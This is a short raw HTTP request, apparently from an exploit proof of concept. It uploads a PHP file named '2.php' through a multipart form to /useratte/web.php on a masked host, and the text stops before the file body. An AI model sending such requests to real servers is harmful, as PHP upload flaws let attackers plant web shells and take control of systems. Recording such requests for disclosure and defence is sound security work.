``` POST /useratte/web.php? HTTP/1.1 Host: xx.xx.xx.xx:8443 Cookie: PHPSESSID=xxxxx User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328 Content-Length: 598 Upgrade-Insecure-Requests: 1 Connection: close -----------------------------42328904123665875270630079328 Content-Disposition: form-data; name="file_upload"; filename="2.php" Content-Type: application/octet-stream